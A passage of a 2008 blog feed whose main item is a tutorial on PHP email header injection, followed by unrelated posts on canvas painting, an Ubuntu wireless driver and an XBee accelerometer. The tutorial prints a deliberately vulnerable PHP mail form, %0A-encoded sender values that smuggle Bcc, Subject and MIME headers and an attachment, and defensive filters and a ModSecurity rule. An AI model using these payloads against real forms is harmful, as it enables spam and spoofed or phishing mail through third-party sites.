choice: &lt;code&gt;recipient@someothersite.xxx&lt;/code&gt;, &lt;code&gt;somebloke@grrrr.xxx&lt;/code&gt; and&lt;code&gt; someotherbloke@oooops.xxx&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;In the last example, both &lt;code&gt;Cc&lt;/code&gt; and &lt;code&gt;Bcc&lt;/code&gt; headers have been used to perform the injection. It would also have been possible to use the &lt;code&gt;To&lt;/code&gt; header, the last value is added (just like in the &lt;code&gt;Cc&lt;/code&gt; and &lt;code&gt;Bcc&lt;/code&gt; fields) to the hardcoded email address of the webmaster.&lt;br /&gt;&lt;h4&gt;Example 2&lt;/h4&gt;Let's keep the same value for subject and message, and give the following value to the sender &lt;code&gt;email@anonymous.xxx%0ATo:email1@who.xxx&lt;/code&gt;. The mail output is: &lt;pre&gt;To: recipient@victim.xxx&lt;br /&gt;Subject: Hum&lt;br /&gt;From: email@anonymous.xxx&lt;br /&gt;To:email1@who.xxx&lt;br /&gt;&lt;br /&gt;My Message...&lt;/pre&gt;Repeating the &lt;code&gt;To&lt;/code&gt; header won't be a problem, the mail will be sent to &lt;code&gt;recipient@victim.xxx&lt;/code&gt; AND &lt;code&gt;email1@who.xxx&lt;/code&gt;.&lt;br /&gt;&lt;h4&gt;Now for something completely evil...&lt;/h4&gt;Let's consider spam.&lt;br /&gt;&lt;br /&gt;Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to. &lt;pre class="prettyprint"&gt;&amp;lt;?php $subject="Visit our site www.website.xxx !";&lt;br /&gt;$message="Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye.";&lt;br /&gt;if (!isset($_POST["send"])){&lt;br /&gt;// no post data, display form&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;form method="POST" action="&amp;lt;?=$_SERVER['PHP_SELF'];?&amp;gt;"&amp;gt;&lt;br /&gt;To: &amp;lt;input type="text" name="recipient"&amp;gt;&lt;br /&gt;From: &amp;lt;input type="text" name="sender"&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" name="send" value="Send"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;} else {&lt;br /&gt;// found post data&lt;br /&gt;$from=$_POST['sender'];&lt;br /&gt;$to=$_POST['recipient'];&lt;br /&gt;// send mail :&lt;br /&gt;if (mail($to,$subject,$message,"From: $from\n")){&lt;br /&gt;// success&lt;br /&gt;echo "Mail sent successfully to $to.";&lt;br /&gt;} else {&lt;br /&gt;// failure&lt;br /&gt;echo "Doh ! Sending failed.";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the &lt;code&gt;To&lt;/code&gt; header can be sent twice, the &lt;code&gt;Subject&lt;/code&gt; header is not an exception to this rule, and so it is for numerous other headers. By providing a recipient address of &lt;code&gt;buddy@pal.xxx&lt;/code&gt; and a sender address of &lt;code&gt;misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject&lt;/code&gt; the email body will look like this: &lt;pre&gt;To: buddy@pal.xxx&lt;br /&gt;Subject: Visit our site www.website.xxx !&lt;br /&gt;From: misterburns@springfield.xxx&lt;br /&gt;Subject: My Anonymous Subject&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page : www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;The subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, SMTP relays, mail client, etc). For example Hotmail displays the added subject inside the message.&lt;br /&gt;&lt;br /&gt;Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (&lt;code&gt;From&lt;/code&gt;, &lt;code&gt;To&lt;/code&gt;, etc); there is no such &lt;code&gt;Message&lt;/code&gt; header existing in the RFC 822. And that's exactly how we will alter this part of the mail, a &lt;code&gt;LF&lt;/code&gt;; with no header name means that the message body started. So, instead of specifying a &lt;code&gt;LF&lt;/code&gt; and a header name, we will just add a &lt;code&gt;LF&lt;/code&gt; and give our message.&lt;br /&gt;&lt;br /&gt;As both &lt;code&gt;To&lt;/code&gt; and &lt;code&gt;Subject&lt;/code&gt; headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended. Say we provide the sender &lt;code&gt;badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message.&lt;/code&gt; Then the email will look like this: &lt;pre&gt;To: buddy@pal.xxx&lt;br /&gt;Subject: Visit our site www.website.xxx!&lt;br /&gt;From: badguy@badboys.com&lt;br /&gt;&lt;br /&gt;My New&lt;br /&gt;Anonymous Message.&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page: www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;We can clearly see the that the new message: &lt;pre&gt;My New&lt;br /&gt;Anonymous Message&lt;/pre&gt;is prepended to the old message: &lt;pre&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page: www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;to finally give this message: &lt;pre&gt;My New&lt;br /&gt;Anonymous Message&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page: www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;There are more headers than &lt;code&gt;Cc&lt;/code&gt;, &lt;code&gt;Bcc&lt;/code&gt;, &lt;code&gt;To&lt;/code&gt;, &lt;code&gt;Subject&lt;/code&gt; and &lt;code&gt;From&lt;/code&gt; but this article will not cover all of them as they are not especially helpful for this article. However, the &lt;code&gt;Content-Type&lt;/code&gt; header can be very useful. It has a default value set of &lt;code&gt;plain/text&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;It is possible to re-define this header as &lt;code&gt;text/html&lt;code&gt;, and then provide some HTML content to the message by giving this value to the sender's email address &lt;code&gt;haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A&amp;lt;u&amp;gt;HTML%20Anonymous%20Message.&amp;lt;/u&amp;gt;%0A&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;The email will look like: &lt;/code&gt;&lt;/code&gt;&lt;pre&gt;To: buddy@pal.xxx&lt;br /&gt;Subject: Visit our site www.website.xxx !&lt;br /&gt;From: haxor@attack.com&lt;br /&gt;Content-Type:text/html&lt;br /&gt;&lt;br /&gt;My New&lt;br /&gt;&amp;lt;u&amp;gt;HTML Anonymous Message.&amp;lt;/u&amp;gt;&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page : www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;When displayed, this email will have the text "HTML Anonymous Message" underlined.&lt;br /&gt;&lt;h4&gt;MIME&lt;/h4&gt;The &lt;code&gt;mail()&lt;/code&gt; function respects the MIME encoding. By knowing this, the header &lt;code&gt;Content-Type&lt;/code&gt; can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used, in addition to send HTML mails, to attach files (sound, image, txt, etc).&lt;br /&gt;&lt;br /&gt;The fact is that the header &lt;code&gt;Content-Type&lt;/code&gt; can be re-defined as &lt;code&gt;multipart/mixed&lt;/code&gt; (or &lt;code&gt;multipart/alternative&lt;/code&gt; or &lt;code&gt;multipart/related&lt;/code&gt;), even though it was already defined previously.&lt;br /&gt;&lt;br /&gt;The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.&lt;br /&gt;&lt;br /&gt;Here's an example in MIME format, with one recipient part: &lt;pre&gt;To: recip@ient.xxx&lt;br /&gt;Subject: Good Luck&lt;br /&gt;From: sender@spoofed.xxx&lt;br /&gt;Content-Type: multipart/mixed; boundary="MyBoundary";&lt;br /&gt;Hidden Text1&lt;br /&gt;--MyBoundary&lt;br /&gt;Content-Type: plain/text;&lt;br /&gt;&lt;br /&gt;Good Luck for you work,&lt;br /&gt;bye&lt;br /&gt;&lt;br /&gt;--MyBoundary--&lt;br /&gt;Hidden Text2&lt;/pre&gt;First we see the header &lt;code&gt;To&lt;/code&gt;, &lt;code&gt;Subject&lt;/code&gt; and &lt;code&gt;From&lt;/code&gt; then the &lt;code&gt;Content-Type&lt;/code&gt; defined as &lt;code&gt;multipart/mixed&lt;/code&gt;, then the "boundary" line which value is &lt;code&gt;MyBoundary&lt;/code&gt;. This boundary stuff is used as a separator (see RFC 822 for detailed info) inside the message. It is also used to set the beginning/end of the first/last part (&lt;code&gt;--[THE BOUNDARY]&lt;/code&gt;). Note: "[THE BOUNDARY] can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first boundary declaration. Then we see the &lt;code&gt;--MyBoundary&lt;/code&gt; line, announcing the beginning of the first message, and then, just after the &lt;code&gt;Content-Type&lt;/code&gt; header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line &lt;code&gt;--MyBoundary--&lt;/code&gt;, announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.&lt;br /&gt;&lt;br /&gt;Now the originating message and subject, both hardcoded in php, are ignored. So by providing the sender value &lt;code&gt;haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;We get: &lt;pre&gt;To: recip@ient.xxx&lt;br /&gt;Subject: Visit www.website.xxx!&lt;br /&gt;From: haxor@attack.xxx&lt;br /&gt;Content-Type:multipart/mixed; boundary=frog;&lt;br /&gt;--frog&lt;br /&gt;Content-Type:text/html&lt;br /&gt;&lt;br /&gt;My Message.&lt;br /&gt;--frog--&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page : www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;And the message received by "recip@ient.xxx" is an HTML message containing "My Message." The hard coded advertisement message (below) is NOT displayed:&lt;br /&gt;&lt;pre&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page : www.website.xxx.&lt;br /&gt;Bye Bye&lt;br /&gt;&lt;/pre&gt;Note: boundary is sent with no quotes this time, just to show it applies even if magic_quotes_gpc=ON.&lt;br /&gt;&lt;br /&gt;This method is applicable in different context. Imagine a script where &lt;code&gt;sender&lt;/code&gt; can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing &lt;code&gt;haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A&lt;/code&gt; in the &lt;code&gt;sender&lt;/code&gt; header and &lt;code&gt;%0A--frog%0AContent-Type:text/html%0A%0AMy%20Message.%0A--frog--&lt;/code&gt; to the optional field (e.g nickname). The resulting mail will look like:&lt;pre&gt;To: ami@friends.xxx&lt;br /&gt;Subject: Visit www.website.xxx !&lt;br /&gt;From: haxor@attack.xxx&lt;br /&gt;Content-Type:multipart/mixed; boundary=frog;&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;&lt;br /&gt;A friend called&lt;br /&gt;--frog&lt;br /&gt;Content-Type:text/html&lt;br /&gt;&lt;br /&gt;My Message.&lt;br /&gt;--frog--&lt;br /&gt;thought you might want to see this page : www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;As you can see, the hard coded message has been split in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.&lt;br /&gt;&lt;h4&gt;Example 3&lt;/h4&gt;Now a last example, compiling all possibilities seen in this article, and more. Provide this value as the sender:&lt;br /&gt;&lt;pre&gt;haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20boundary=frog;&lt;br /&gt;%0A--frog%0AContent-Type:text/html%0A%0AHTML%20Message.%0A%0A--frog%0AContent-Type:text/html;&lt;br /&gt;name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:attachment%0A%0AHTML%20File&lt;br /&gt;%0A%0A--frog--%0A&lt;/pre&gt;The resulting email will be: &lt;pre&gt;To: pal@friends.xxx&lt;br /&gt;Subject: Visit www.website.xxx !&lt;br /&gt;From: haxor@attack.xxx&lt;br /&gt;Subject: Mwahahaha&lt;br /&gt;Bcc: target@nothappy.xxx&lt;br /&gt;Content-Type: multipart/mixed; boundary=frog;&lt;br /&gt;--frog&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;HTML Message.&lt;br /&gt;&lt;br /&gt;--frog--&lt;br /&gt;Content-Type: text/html;name=Nastycode.html;&lt;br /&gt;Content-Transfer-Encoding: 8bit&lt;br /&gt;Content-Disposition: attachment&lt;br /&gt;&lt;br /&gt;HTML File&lt;br /&gt;&lt;br /&gt;--frog--&lt;br /&gt;&lt;br /&gt;Hello,&lt;br /&gt;A friend thought you might want to see this page : www.website.xxx.&lt;br /&gt;Bye Bye&lt;/pre&gt;So, the sender is "haxor@attack.xxx", the subject is "Visit www.website.xxx ! Oooops", the email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML:&lt;pre&gt;HTML Message.&lt;br /&gt;&lt;br /&gt;a file named "Nastycode.html" with content type "text/html" will be attached to the email:&lt;br /&gt;&lt;br /&gt;HTML File&lt;/pre&gt;&lt;h4&gt;&amp;lt;panic&amp;gt;&lt;/h4&gt;Now that the problem has been described, enjoy some scheduled panic time.&lt;br /&gt;&lt;h4&gt;&amp;lt;/panic&amp;gt; (Solutions)&lt;/h4&gt;And now that you've stopped panicking, here are several ways to combat email injection.&lt;br /&gt;&lt;h4&gt;Regex&lt;/h4&gt;The first rule (the golden rule)  is to always filter and validate user data. One possibility is to use regular expressions or string functions: &lt;pre class="prettyprint"&gt;&amp;lt;?php&lt;br /&gt;$from = $_POST["sender"];&lt;br /&gt;if (eregi("(\r|\n)", $from)) {&lt;br /&gt;die("Why ?? :(");&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;We can see in the above script that any occurrence of &lt;code&gt;\r&lt;/code&gt; or &lt;code&gt;\n&lt;/code&gt; will make it die(). &lt;code&gt;\n&lt;/code&gt; is equal to &lt;code&gt;LF&lt;/code&gt; (line feed or &lt;code&gt;0x0A&lt;/code&gt;/&lt;code&gt;%0A&lt;/code&gt; in hexadecimal), and &lt;code&gt;\r&lt;/code&gt; is equal to &lt;code&gt;CR&lt;/code&gt; (carriage return or &lt;code&gt;0x0D&lt;/code&gt;/&lt;code&gt;%0D&lt;/code&gt; in hexadecimal).&lt;br /&gt;&lt;h4&gt;Zend_Mail&lt;/h4&gt;You can use the Zend_Mail component as your mail sender class. It provides protection to this problem by default, no action is required from the programmer.&lt;br /&gt;&lt;h4&gt;PEAR Mail&lt;/h4&gt;The PEAR Mail class provides protection against this problem since version 1.1.13.&lt;br /&gt;&lt;h4&gt;Swift Mailer&lt;/h4&gt;Swift Mailer class is not vulnerable to this attack.&lt;br /&gt;&lt;h4&gt;Suhosin&lt;/h4&gt;The Suhosin PHP extension provides the suhosin.mail.protect ini directive, with 3 different levels of protection.&lt;br /&gt;&lt;h4&gt;ModSecurity&lt;/h4&gt;ModSecurity can put a stop to email injection on the server level.&lt;br /&gt;&lt;br /&gt;With ModSecurity it is possible to scan the POST or GET body for &lt;code&gt;Bcc&lt;/code&gt;, &lt;code&gt;Cc&lt;/code&gt;, or &lt;code&gt;To&lt;/code&gt; and reject any request that contains those letters. To protect against main injection, add the below rule to your modsecurity setup: &lt;pre class="prettyprint"&gt;SecFilterSelective ARGS_VALUES "\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@"&lt;/pre&gt;However, there are plenty of legitmate reasons to use the word "to" in an email and blacklists are never complete. Whitelisting is always a better option. gotroot.com is a great source for ModSecurity rules. It is a good idea to use their rules and configuration to protect users against other PHP exploits. Any virtual host having issues with ModSecurity can have it disabled by adding the below setting to the VirtualHost container: &lt;pre class="prettyprint"&gt;&amp;lt;IfModule mod_security.c&amp;gt;&lt;br /&gt;SecFilterEngine Off&lt;br /&gt;&amp;lt;/IfModule&amp;gt;&lt;/pre&gt;&lt;h4&gt;In Conclusion...&lt;/h4&gt;Two points to remember when watching injections:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Any existing data located *after* the injection point can be replaced.&lt;/li&gt; &lt;li&gt;Any data to be added will always be located *after* the injection point (e.g. &lt;code&gt;From&lt;/code&gt;).&lt;/li&gt;&lt;/ul&gt;There is another good point to this security measure despite the fact that subject and recipient values passed to the &lt;code&gt;mail()&lt;/code&gt; function are cleaned, when using Emacs, the &lt;code&gt;Fcc&lt;/code&gt; header is also protected from injections. This &lt;code&gt;Fcc&lt;/code&gt; field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP &lt;code&gt;mail()&lt;/code&gt; function.&lt;br /&gt;&lt;br /&gt;And remember, there are other related exploit possibilities that are not discussed in this article. Security requires research and vigilance.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-6530167044577358395?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/cDeXfhqhboc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/6530167044577358395/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=6530167044577358395" title="12 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6530167044577358395?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/6530167044577358395?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/cDeXfhqhboc/email-injection.html" title="Email Injection" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">12</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/email-injection.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYESXs-fip7ImA9WxRbGEg.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-5582286135769392928</id><published>2008-12-09T22:27:00.000+01:00</published><updated>2008-12-09T22:28:28.556+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-09T22:28:28.556+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><title>JavaScript Painting with Canvas</title><content type="html">I spent some time today messing with JavaScript canvas stuff. Here's a simple paint snippet. Enjoy.&lt;pre class="prettyprint"&gt;&amp;lt;head&amp;gt;&lt;br /&gt;  &amp;lt;script&amp;gt;&lt;br /&gt;    function draw() {&lt;br /&gt;      var canvas = document.getElementById(&amp;quot;canvas&amp;quot;);&lt;br /&gt;      var ctx = canvas.getContext(&amp;quot;2d&amp;quot;);&lt;br /&gt;      ctx.fillStyle = &amp;quot;black&amp;quot;;&lt;br /&gt;      ctx.beginPath();&lt;br /&gt;&lt;br /&gt;      var x;&lt;br /&gt;      var y;&lt;br /&gt;&lt;br /&gt;      canvas.onmousedown = function(e) {&lt;br /&gt;        x = e.clientX;&lt;br /&gt;        y = e.clientY;&lt;br /&gt;        ctx.moveTo(x, y);&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      canvas.onmouseup = function(e) {&lt;br /&gt;        x = null;&lt;br /&gt;        y = null;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      canvas.onmousemove = function(e) {&lt;br /&gt;        if (x == null || y == null) {&lt;br /&gt;          return;&lt;br /&gt;        }&lt;br /&gt;        x = e.clientX;&lt;br /&gt;        y = e.clientY;&lt;br /&gt;        x -= canvas.offsetLeft;&lt;br /&gt;        y -= canvas.offsetTop;&lt;br /&gt;        ctx.lineTo(x, y);&lt;br /&gt;        ctx.stroke();&lt;br /&gt;        ctx.moveTo(x, y);&lt;br /&gt;      }&lt;br /&gt;    };&lt;br /&gt;  &amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body onload=&amp;quot;draw();&amp;quot;&amp;gt;&lt;br /&gt;  &amp;lt;canvas id=&amp;quot;canvas&amp;quot; width=&amp;quot;300&amp;quot; height=&amp;quot;300&amp;quot;&lt;br /&gt;  style=&amp;quot;border: 1px solid black;&amp;quot;&amp;gt;&amp;lt;/canvas&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-5582286135769392928?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/nY-_1iaWKNw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/5582286135769392928/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=5582286135769392928" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/5582286135769392928?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/5582286135769392928?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/nY-_1iaWKNw/javascript-painting-with-canvas.html" title="JavaScript Painting with Canvas" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/javascript-painting-with-canvas.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUABR3czcSp7ImA9WxRbFko.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-8832180263652122696</id><published>2008-12-07T18:46:00.001+01:00</published><updated>2008-12-07T19:15:56.989+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-07T19:15:56.989+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Ubuntu Ibex Wireless and RT61PCI</title><content type="html">Ever since I upgraded to Ubuntu Ibex, my wireless has stopped working. Network Manager was able to scan and display available networks, but couldn't connect. I waited a while to see if a patch might fix it, but none did. I got it working again tonight. My solution involves removing Network Manager (which isn't a problem for me since I'm doing this on my desktop). Basically, I followed some directions from the &lt;a href="http://ubuntuforums.org/showthread.php?t=600148#9"&gt;Ubuntu Forums&lt;/a&gt;. However, I've made some small changes and added some instructions where I felt there were gaps.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Disable and remove Network Manager.&lt;pre&gt;sudo killall NetworkManager&lt;br /&gt;sudo apt-get remove network-manager&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Remove the &lt;code&gt;rt61pci&lt;/code&gt; module and blacklist it to prevent it from loading in the future.&lt;pre&gt;sudo modprobe -r rt61pci&lt;br /&gt;echo 'blacklist rt61pci' | sudo tee -a \&lt;br /&gt;  /etc/modprobe.d/blacklist&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Download the &lt;a href="http://rt2x00.serialmonkey.com/wiki/index.php/Downloads" target="_blank"&gt;serialmonkey rt61 legacy CVS tarball&lt;/a&gt; and install it.&lt;pre&gt;tar zxvf rt61-cvs-daily.tar.gz&lt;br /&gt;cd rt61-cvs*/Module&lt;br /&gt;make&lt;br /&gt;sudo cp rt61.ko \&lt;br /&gt;  /lib/modules/`uname -r`/kernel/drivers/net/wireless&lt;br /&gt;sudo depmod&lt;br /&gt;sudo modprobe rt61&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Edit &lt;code&gt;/etc/network/interfaces&lt;/code&gt; by adding/modifying the following section.&lt;pre&gt;auto wlan0&lt;br /&gt;iface wlan0 inet dhcp&lt;br /&gt;pre-up iwconfig wlan0 mode managed&lt;br /&gt;pre-up ifconfig wlan0 up&lt;br /&gt;pre-up iwconfig wlan0 essid [your SSID]&lt;br /&gt;pre-up iwpriv wlan0 set AuthMode=WPA2PSK&lt;br /&gt;pre-up iwpriv wlan0 set WPAPSK=[your ascii key]&lt;br /&gt;pre-up iwpriv wlan0 set EncrypType=AES&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Bring up the wireless interface by typing &lt;code&gt;sudo ifup wlan0&lt;/code&gt; or rebooting.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-8832180263652122696?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/zOkXenj6N70" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/8832180263652122696/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=8832180263652122696" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/8832180263652122696?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/8832180263652122696?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/zOkXenj6N70/ubuntu-ibex-wireless-and-rt61pci.html" title="Ubuntu Ibex Wireless and RT61PCI" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2008/12/ubuntu-ibex-wireless-and-rt61pci.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEEMSXwyeSp7ImA9WxRbF0o.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-1330512251759512160</id><published>2008-11-09T23:00:00.000+01:00</published><updated>2008-12-08T23:51:28.291+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-08T23:51:28.291+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="arduino" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="accelerometer" /><category scheme="http://www.blogger.com/atom/ns#" term="xbee" /><title>XBee ZNet 2.5 Wireless Accelerometer</title><content type="html">I managed to put together a wireless accelerometer the other night using my two new XBees, an Arduino XBee shield, an XBee Explorer USB, an ADXL330, and some Python. I struggled a bit with some of it, so here's what I learned:&lt;br /&gt;&lt;br /&gt;First, a parts list.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.sparkfun.com/commerce/product_info.php?products_id=8691"&gt;XBee 2mW Series 2.5 Chip Antenna&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.sparkfun.com/commerce/product_info.php?products_id=8471"&gt;Arduino XBee&lt;/a&gt; (with XBee Series 2.5 module)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.sparkfun.com/commerce/product_info.php?products_id=8687"&gt;XBee Explorer USB&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.sparkfun.com/commerce/product_info.php?products_id=692"&gt;ADXL330&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;I'm not sure exactly what the specs are on the XBee that comes with the Arduino shield. But, it is definitely a series 2.5.&lt;br /&gt;&lt;br /&gt;The first thing to do is to configure and upgrade the firmware on your XBees. To do that, you'll need &lt;a href="http://www.digi.com/support/kbase/kbaseresultdetl.jsp?kb=125"&gt;X-CTU&lt;/a&gt; (for the firmware upgrade at least, but it's also nice for configuration) which, unfortunately, is only available for Windows. But, it works fine from VMware. First up, the XBee we'll hook up to the computer to read incoming data from the accelerometer:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Plug one of the XBees into the Explorer (it's also possible to do this from the Arduino shield by shifting the two XBee/USB jumpers to USB and removing the MCU) and plug it into your USB port.&lt;/li&gt;&lt;li&gt;Crank up X-CTU, select the appropriate USB communications port (com port), click "Modem Configuration" and then "Read." This will determine what XBee is connected and what firmware is on the device.&lt;/li&gt;&lt;li&gt;Select "Always update firmware."&lt;/li&gt;&lt;li&gt;Click "Download new versions..."&lt;/li&gt;&lt;li&gt;Select the latest version of ZNet 2.5 Router/End Device API. The API version is necessary in order to read the incoming data on the computer. Only API firmware will write incoming sensor data to the device's UART so it can be read over USB/serial.&lt;/li&gt;&lt;li&gt;Click "Write." You may get an error after the writing is complete. That's normal. It's because you've changed the way the XBee communicates over it's UART. Go back to the "PC Settings" tab, select "Enable API" and then click "Read" on the "Modem Configuration" tab again.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Under "Networking," change NI (Node Identifer) to something like "ARDUINO". I named mine Arduino because I used the Arduino and XBee shield to provide a USB connection to the computer.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Click "Write" and hook it up to your computer. This is the XBee that your accelerometer will be sending data to. We'll hack up some Python to read that data later.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Next up is the XBee we'll hook to the accelerometer:&lt;br 